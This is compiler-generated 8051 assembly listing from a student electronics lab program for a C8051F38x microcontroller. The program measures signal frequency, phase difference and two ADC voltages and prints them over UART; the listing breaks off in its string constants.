_TF2 BIT 0xcf
_TF2H BIT 0xcf
_TF2L BIT 0xce
_TF2LEN BIT 0xcd
_TF2CEN BIT 0xcc
_T2SPLIT BIT 0xcb
_TR2 BIT 0xca
_T2CSS BIT 0xc9
_T2XCLK BIT 0xc8
_TF5H BIT 0xcf
_TF5L BIT 0xce
_TF5LEN BIT 0xcd
_TMR5CN_4 BIT 0xcc
_T5SPLIT BIT 0xcb
_TR5 BIT 0xca
_TMR5CN_1 BIT 0xc9
_T5XCLK BIT 0xc8
_CY BIT 0xd7
_AC BIT 0xd6
_F0 BIT 0xd5
_RS1 BIT 0xd4
_RS0 BIT 0xd3
_OV BIT 0xd2
_F1 BIT 0xd1
_PARITY BIT 0xd0
_CF BIT 0xdf
_CR BIT 0xde
_PCA0CN_5 BIT 0xde
_CCF4 BIT 0xdc
_CCF3 BIT 0xdb
_CCF2 BIT 0xda
_CCF1 BIT 0xd9
_CCF0 BIT 0xd8
_ACC_7 BIT 0xe7
_ACC_6 BIT 0xe6
_ACC_5 BIT 0xe5
_ACC_4 BIT 0xe4
_ACC_3 BIT 0xe3
_ACC_2 BIT 0xe2
_ACC_1 BIT 0xe1
_ACC_0 BIT 0xe0
_AD0EN BIT 0xef
_AD0TM BIT 0xee
_AD0INT BIT 0xed
_AD0BUSY BIT 0xec
_AD0WINT BIT 0xeb
_AD0CM2 BIT 0xea
_AD0CM1 BIT 0xe9
_AD0CM0 BIT 0xe8
_B_7 BIT 0xf7
_B_6 BIT 0xf6
_B_5 BIT 0xf5
_B_4 BIT 0xf4
_B_3 BIT 0xf3
_B_2 BIT 0xf2
_B_1 BIT 0xf1
_B_0 BIT 0xf0
_SPIF BIT 0xff
_WCOL BIT 0xfe
_MODF BIT 0xfd
_RXOVRN BIT 0xfc
_NSSMD1 BIT 0xfb
_NSSMD0 BIT 0xfa
_TXBMT BIT 0xf9
_SPIEN BIT 0xf8
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
rbank0 segment data overlay
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
rseg R_DSEG
_main_frequency_1_1_58:
ds 4
_main_phase_difference_1_58:
ds 4
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
rseg R_OSEG
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
rseg R_ISEG
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
DSEG
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
rseg R_BSEG
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
rseg R_PSEG
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
rseg R_XSEG
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
XSEG
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
rseg R_IXSEG
rseg R_HOME
rseg R_GSINIT
rseg R_CSEG
;--------------------------------------------------------
; Reset entry point and interrupt vectors
;--------------------------------------------------------
CSEG at 0x0000
ljmp _crt0
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
rseg R_HOME
rseg R_GSINIT
rseg R_GSINIT
;--------------------------------------------------------
; data variables initialization
;--------------------------------------------------------
rseg R_DINIT
; The linker places a 'ret' at the end of segment R_DINIT.
;--------------------------------------------------------
; code
;--------------------------------------------------------
rseg R_CSEG
;------------------------------------------------------------
;Allocation info for local variables in function '_c51_external_startup'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:16: char _c51_external_startup (void)
; -----------------------------------------
; function _c51_external_startup
; -----------------------------------------
__c51_external_startup:
using 0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:18: PCA0MD&=(~0x40) ; // DISABLE WDT: clear Watchdog Enable bit
anl _PCA0MD,#0xBF
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:23: CLKSEL|=0b_0000_0010; // SYSCLK derived from the Internal High-Frequency Oscillator / 2.
orl _CLKSEL,#0x02
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:29: OSCICN |= 0x03; // Configure internal oscillator for its maximum frequency
orl _OSCICN,#0x03
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:32: P2MDIN &= 0b_1111_0000; // P2.0 to P2.3
anl _P2MDIN,#0xF0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:33: P2SKIP |= 0b_0000_1111; // Skip Crossbar decoding for these pins
orl _P2SKIP,#0x0F
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:41: AMX0P = LQFP32_MUX_P2_0; // Select positive input from P2.0
mov _AMX0P,#0x08
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:42: AMX0N = LQFP32_MUX_GND; // GND is negative input (Single-ended Mode)
mov _AMX0N,#0x1F
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:45: ADC0CF = 0xF8; // SAR clock = 31, Right-justified result
mov _ADC0CF,#0xF8
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:46: ADC0CN = 0b_1000_0000; // AD0EN=1, AD0TM=0
mov _ADC0CN,#0x80
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:47: REF0CN=0b_0000_1000; //Select VDD as the voltage reference for the converter
mov _REF0CN,#0x08
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:49: VDM0CN=0x80; // enable VDD monitor
mov _VDM0CN,#0x80
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:50: RSTSRC=0x02|0x04; // Enable reset on missing clock detector and VDD
mov _RSTSRC,#0x06
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:51: P0MDOUT|=0x10; // Enable Uart TX as push-pull output
orl _P0MDOUT,#0x10
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:52: XBR0=0x01; // Enable UART on P0.4(TX) and P0.5(RX)
mov _XBR0,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:53: XBR1=0x40; // Enable crossbar and weak pull-ups
mov _XBR1,#0x40
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:56: TH1 = 0x10000-((SYSCLK/BAUDRATE)/2L);
mov _TH1,#0x98
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:57: CKCON &= ~0x0B; // T1M = 1; SCA1:0 = xx
anl _CKCON,#0xF4
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:58: CKCON |= 0x08;
orl _CKCON,#0x08
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:72: TL1 = TH1; // Init timer 1
mov _TL1,_TH1
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:73: TMOD &= 0x0f; // TMOD: timer 1 in 8-bit autoreload
anl _TMOD,#0x0F
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:74: TMOD |= 0x20;
orl _TMOD,#0x20
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:75: TR1 = 1; // Start timer1
setb _TR1
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:76: SCON = 0x52;
mov _SCON,#0x52
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:78: return 0;
mov dpl,#0x00
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'SYSCLK_Init'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:81: void SYSCLK_Init (void)
; -----------------------------------------
; function SYSCLK_Init
; -----------------------------------------
_SYSCLK_Init:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:87: CLKSEL|=0b_0000_0010; // SYSCLK derived from the Internal High-Frequency Oscillator / 2.
orl _CLKSEL,#0x02
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:93: OSCICN |= 0x03; // Configure internal oscillator for its maximum frequency
orl _OSCICN,#0x03
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:94: RSTSRC = 0x04; // Enable missing clock detector
mov _RSTSRC,#0x04
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'PORT_Init'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:97: void PORT_Init (void)
; -----------------------------------------
; function PORT_Init
; -----------------------------------------
_PORT_Init:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:99: P0MDOUT |= 0x10; // Enable UTX as push-pull output
orl _P0MDOUT,#0x10
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:100: XBR0 = 0x01; // Enable UART on P0.4(TX) and P0.5(RX)
mov _XBR0,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:101: XBR1 = 0x40; // Enable crossbar and weak pull-ups
mov _XBR1,#0x40
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'Timer3us'
;------------------------------------------------------------
;us Allocated to registers r2
;i Allocated to registers r3
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:105: void Timer3us(unsigned char us)
; -----------------------------------------
; function Timer3us
; -----------------------------------------
_Timer3us:
mov r2,dpl
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:110: CKCON|=0b_0100_0000;
orl _CKCON,#0x40
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:112: TMR3RL = (-(SYSCLK)/1000000L); // Set Timer3 to overflow in 1us.
mov _TMR3RL,#0xE8
mov (_TMR3RL >> 8),#0xFF
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:113: TMR3 = TMR3RL; // Initialize Timer3 for first overflow
mov _TMR3,_TMR3RL
mov (_TMR3 >> 8),(_TMR3RL >> 8)
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:115: TMR3CN = 0x04; // Sart Timer3 and clear overflow flag
mov _TMR3CN,#0x04
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:116: for (i = 0; i < us; i++) // Count <us> overflows
mov r3,#0x00
L005004?:
clr c
mov a,r3
subb a,r2
jnc L005007?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:118: while (!(TMR3CN & 0x80)); // Wait for overflow
L005001?:
mov a,_TMR3CN
jnb acc.7,L005001?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:119: TMR3CN &= ~(0x80); // Clear overflow indicator
anl _TMR3CN,#0x7F
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:116: for (i = 0; i < us; i++) // Count <us> overflows
inc r3
sjmp L005004?
L005007?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:121: TMR3CN = 0 ; // Stop Timer3 and clear overflow flag
mov _TMR3CN,#0x00
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'waitms'
;------------------------------------------------------------
;ms Allocated to registers r2 r3
;j Allocated to registers r4 r5
;k Allocated to registers r6
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:124: void waitms (unsigned int ms)
; -----------------------------------------
; function waitms
; -----------------------------------------
_waitms:
mov r2,dpl
mov r3,dph
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:128: for(j=0; j<ms; j++)
mov r4,#0x00
mov r5,#0x00
L006005?:
clr c
mov a,r4
subb a,r2
mov a,r5
subb a,r3
jnc L006009?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:129: for (k=0; k<4; k++) Timer3us(250);
mov r6,#0x00
L006001?:
cjne r6,#0x04,L006018?
L006018?:
jnc L006007?
mov dpl,#0xFA
push ar2
push ar3
push ar4
push ar5
push ar6
lcall _Timer3us
pop ar6
pop ar5
pop ar4
pop ar3
pop ar2
inc r6
sjmp L006001?
L006007?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:128: for(j=0; j<ms; j++)
inc r4
cjne r4,#0x00,L006005?
inc r5
sjmp L006005?
L006009?:
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'TIMER0_Init'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:132: void TIMER0_Init(void)
; -----------------------------------------
; function TIMER0_Init
; -----------------------------------------
_TIMER0_Init:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:134: TMOD&=0b_1111_0000; // Set the bits of Timer/Counter 0 to zero
anl _TMOD,#0xF0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:135: TMOD|=0b_0000_0101; // Timer/Counter 0 used as a 16-bit counter
orl _TMOD,#0x05
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:136: TR0=0; // Stop Timer/Counter 0
clr _TR0
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'UART0_Init'
;------------------------------------------------------------
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:142: void UART0_Init (void)
; -----------------------------------------
; function UART0_Init
; -----------------------------------------
_UART0_Init:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:144: SCON0 = 0x10;
mov _SCON0,#0x10
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:147: TH1 = 0x10000-((SYSCLK/BAUDRATE)/2L);
mov _TH1,#0x98
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:148: CKCON &= ~0x0B; // T1M = 1; SCA1:0 = xx
anl _CKCON,#0xF4
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:149: CKCON |= 0x08;
orl _CKCON,#0x08
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:162: TL1 = TH1; // Init Timer1
mov _TL1,_TH1
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:163: TMOD &= ~0xf0; // TMOD: timer 1 in 8-bit autoreload
anl _TMOD,#0x0F
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:164: TMOD |= 0x20;
orl _TMOD,#0x20
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:165: TR1 = 1; // START Timer1
setb _TR1
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:166: TI = 1; // Indicate TX0 ready
setb _TI
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'main'
;------------------------------------------------------------
;v Allocated to registers r2 r3 r4 r5
;j Allocated to registers r6
;Period_1 Allocated to registers
;frequency_1 Allocated with name '_main_frequency_1_1_58'
;Pulse_2 Allocated to registers
;phase_difference Allocated with name '_main_phase_difference_1_58'
;------------------------------------------------------------
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:169: void main (void)
; -----------------------------------------
; function main
; -----------------------------------------
_main:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:182: TIMER0_Init();
lcall _TIMER0_Init
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:185: printf("\x1b[2J"); // Clear screen using ANSI escape sequence.
mov a,#__str_0
push acc
mov a,#(__str_0 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
dec sp
dec sp
dec sp
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:191: __FILE__, __DATE__, __TIME__);
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:190: "Compiled: %s, %s\n\n",
mov a,#__str_4
push acc
mov a,#(__str_4 >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_3
push acc
mov a,#(__str_3 >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_2
push acc
mov a,#(__str_2 >> 8)
push acc
mov a,#0x80
push acc
mov a,#__str_1
push acc
mov a,#(__str_1 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xf4
mov sp,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:196: AD0BUSY=1;
setb _AD0BUSY
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:197: while (AD0BUSY); // Wait for conversion to complete
L009001?:
jb _AD0BUSY,L009001?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:199: while(1)
L009032?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:201: printf("\x1B[6;1H"); // ANSI escape sequence: move to row 6, column 1
mov a,#__str_5
push acc
mov a,#(__str_5 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
dec sp
dec sp
dec sp
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:204: TR0=0; // Stop timer 0
clr _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:205: TMOD=0B_0000_0001; // Set timer 0 as 16- // Set timer 0 as 16-bit timer bit timer
mov _TMOD,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:206: TH0=0; TL0=0; // Reset the timer
mov _TH0,#0x00
mov _TL0,#0x00
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:207: while (P2_5==1); // Wait for the signal to be zero
L009004?:
jb _P2_5,L009004?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:208: while (P2_5==0); // Wait for the signal to be one
L009007?:
jnb _P2_5,L009007?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:209: TR0=1; // Start timing
setb _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:210: while (P2_5==1); // Wait for the signal to be zero
L009010?:
jb _P2_5,L009010?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:211: TR0=0; // Stop timer 0
clr _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:213: Period_1=(TH0*0x100+TL0)*2; // Assume Period is unsigned int
mov r3,_TH0
mov r2,#0x00
mov r4,_TL0
mov r5,#0x00
mov a,r4
add a,r2
mov r2,a
mov a,r5
addc a,r3
mov dpl,r2
xch a,dpl
add a,acc
xch a,dpl
rlc a
mov dph,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:214: frequency_1=1/((float)Period_1);
lcall ___uint2fs
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
push ar2
push ar3
push ar4
push ar5
push ar2
push ar3
push ar4
push ar5
mov dptr,#0x0000
mov b,#0x80
mov a,#0x3F
lcall ___fsdiv
mov _main_frequency_1_1_58,dpl
mov (_main_frequency_1_1_58 + 1),dph
mov (_main_frequency_1_1_58 + 2),b
mov (_main_frequency_1_1_58 + 3),a
mov a,sp
add a,#0xfc
mov sp,a
pop ar5
pop ar4
pop ar3
pop ar2
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:216: TR0=0; // Stop timer 0
clr _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:217: TMOD=0B_0000_0001; // Set timer 0 as 16- // Set timer 0 as 16-bit timer bit timer
mov _TMOD,#0x01
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:218: TH0=0; TL0=0; // Reset the timer
mov _TH0,#0x00
mov _TL0,#0x00
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:219: while (P1_4==1); // Wait for the signal to be zero
L009013?:
jb _P1_4,L009013?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:220: while (P1_4==0); // Wait for the signal to be one
L009016?:
jnb _P1_4,L009016?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:221: TR0=1; // Start timing
setb _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:222: while (P1_4==1); // Wait for the signal to be zero
L009019?:
jb _P1_4,L009019?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:223: TR0=0; // Stop timer 0
clr _TR0
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:225: Pulse_2=(TH0*0x100+TL0); // Assume Period is unsigned int
mov r7,_TH0
mov r6,#0x00
mov r0,_TL0
mov r1,#0x00
mov a,r0
add a,r6
mov dpl,a
mov a,r1
addc a,r7
mov dph,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:228: phase_difference=((float)Pulse_2)*(360/((float)Period_1));
push ar2
push ar3
push ar4
push ar5
lcall ___uint2fs
mov r6,dpl
mov r7,dph
mov r0,b
mov r1,a
pop ar5
pop ar4
pop ar3
pop ar2
push ar6
push ar7
push ar0
push ar1
push ar2
push ar3
push ar4
push ar5
mov dptr,#0x0000
mov b,#0xB4
mov a,#0x43
lcall ___fsdiv
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
mov a,sp
add a,#0xfc
mov sp,a
pop ar1
pop ar0
pop ar7
pop ar6
push ar2
push ar3
push ar4
push ar5
mov dpl,r6
mov dph,r7
mov b,r0
mov a,r1
lcall ___fsmul
mov _main_phase_difference_1_58,dpl
mov (_main_phase_difference_1_58 + 1),dph
mov (_main_phase_difference_1_58 + 2),b
mov (_main_phase_difference_1_58 + 3),a
mov a,sp
add a,#0xfc
mov sp,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:230: printf("\rf=%f Hz, ",frequency_1);
push _main_frequency_1_1_58
push (_main_frequency_1_1_58 + 1)
push (_main_frequency_1_1_58 + 2)
push (_main_frequency_1_1_58 + 3)
mov a,#__str_6
push acc
mov a,#(__str_6 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xf9
mov sp,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:232: for(j=0; j<2; j++)
mov r6,#0x00
L009034?:
cjne r6,#0x02,L009068?
L009068?:
jc L009069?
ljmp L009037?
L009069?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:234: AD0BUSY = 1; // Start ADC 0 conversion to measure previously selected input
setb _AD0BUSY
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:237: switch(j)
cjne r6,#0x00,L009070?
sjmp L009022?
L009070?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:239: case 0:
cjne r6,#0x01,L009025?
sjmp L009023?
L009022?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:240: AMX0P=LQFP32_MUX_P2_6;
mov _AMX0P,#0x0E
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:241: break;
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:242: case 1:
sjmp L009025?
L009023?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:243: AMX0P=LQFP32_MUX_P1_5;
mov _AMX0P,#0x05
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:246: while (AD0BUSY); // Wait for conversion to complete
L009025?:
jb _AD0BUSY,L009025?
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:247: v = ((ADC0L+(ADC0H*0x100))*VDD)/1023.0; // Read 0-1023 value in ADC0 and convert to volts
mov r7,_ADC0L
mov r0,#0x00
mov r2,_ADC0H
clr a
add a,r7
mov dpl,a
mov a,r2
addc a,r0
mov dph,a
push ar6
lcall ___sint2fs
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
push ar2
push ar3
push ar4
push ar5
mov dptr,#0xCCCD
mov b,#0x54
mov a,#0x40
lcall ___fsmul
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
mov a,sp
add a,#0xfc
mov sp,a
clr a
push acc
mov a,#0xC0
push acc
mov a,#0x7F
push acc
mov a,#0x44
push acc
mov dpl,r2
mov dph,r3
mov b,r4
mov a,r5
lcall ___fsdiv
mov r2,dpl
mov r3,dph
mov r4,b
mov r5,a
mov a,sp
add a,#0xfc
mov sp,a
pop ar6
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:249: switch(j)
cjne r6,#0x00,L009073?
sjmp L009028?
L009073?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:251: case 0:
cjne r6,#0x01,L009036?
sjmp L009029?
L009028?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:252: printf("V0=%.3fV, ", v);
push ar6
push ar2
push ar3
push ar4
push ar5
mov a,#__str_7
push acc
mov a,#(__str_7 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xf9
mov sp,a
pop ar6
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:253: break;
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:254: case 1:
sjmp L009036?
L009029?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:255: printf("V1=%.3fV, ", v);
push ar6
push ar2
push ar3
push ar4
push ar5
mov a,#__str_8
push acc
mov a,#(__str_8 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xf9
mov sp,a
pop ar6
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:257: }
L009036?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:232: for(j=0; j<2; j++)
inc r6
ljmp L009034?
L009037?:
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:260: printf("\rphase=%f degrees",phase_difference);
push _main_phase_difference_1_58
push (_main_phase_difference_1_58 + 1)
push (_main_phase_difference_1_58 + 2)
push (_main_phase_difference_1_58 + 3)
mov a,#__str_9
push acc
mov a,#(__str_9 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
mov a,sp
add a,#0xf9
mov sp,a
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:261: printf("\x1B[K"); // ANSI escape sequence: Clear to end of line
mov a,#__str_10
push acc
mov a,#(__str_10 >> 8)
push acc
mov a,#0x80
push acc
lcall _printf
dec sp
dec sp
dec sp
; C:\Users\jeffreyliou\Desktop\elec291\lab5\C851F38x_ADC_multiple_inputs.c:262: waitms(100); // Wait 100ms before next round of measurements.
mov dptr,#0x0064
lcall _waitms
ljmp L009032?
rseg R_CSEG
rseg R_XINIT
rseg R_CONST
__str_0:
db 0x1B
db '[2J'
db 0x00
__str_1:
db 'Phasor Test Program'
db 0x0A
db 'Apply analog voltages to P2.0, P2.1, P2.'
db '2, and P2.3'
db 0x0A
db 'File: %s'
db 0x0A
db 'Compiled: %s, %s'
db 0x0A
db 0x0A
db 0x00
__str_2:
db 'C:'
db 0x5C
db 'Users'
db 0x5C
db 'jeffreyliou'
db 0x5C
db 'Desktop'
db 0x5C
db 'elec291'
db 0x5C
db 'lab5'
db 0x5C
db 'C851F38x_ADC_multi'
db 'ple_inputs.c'
db 0x00
__str_3:
db 'Mar 6 2016'
db 0x00
__str_4:
db '17:23:20'
db 0x00
__str_5:
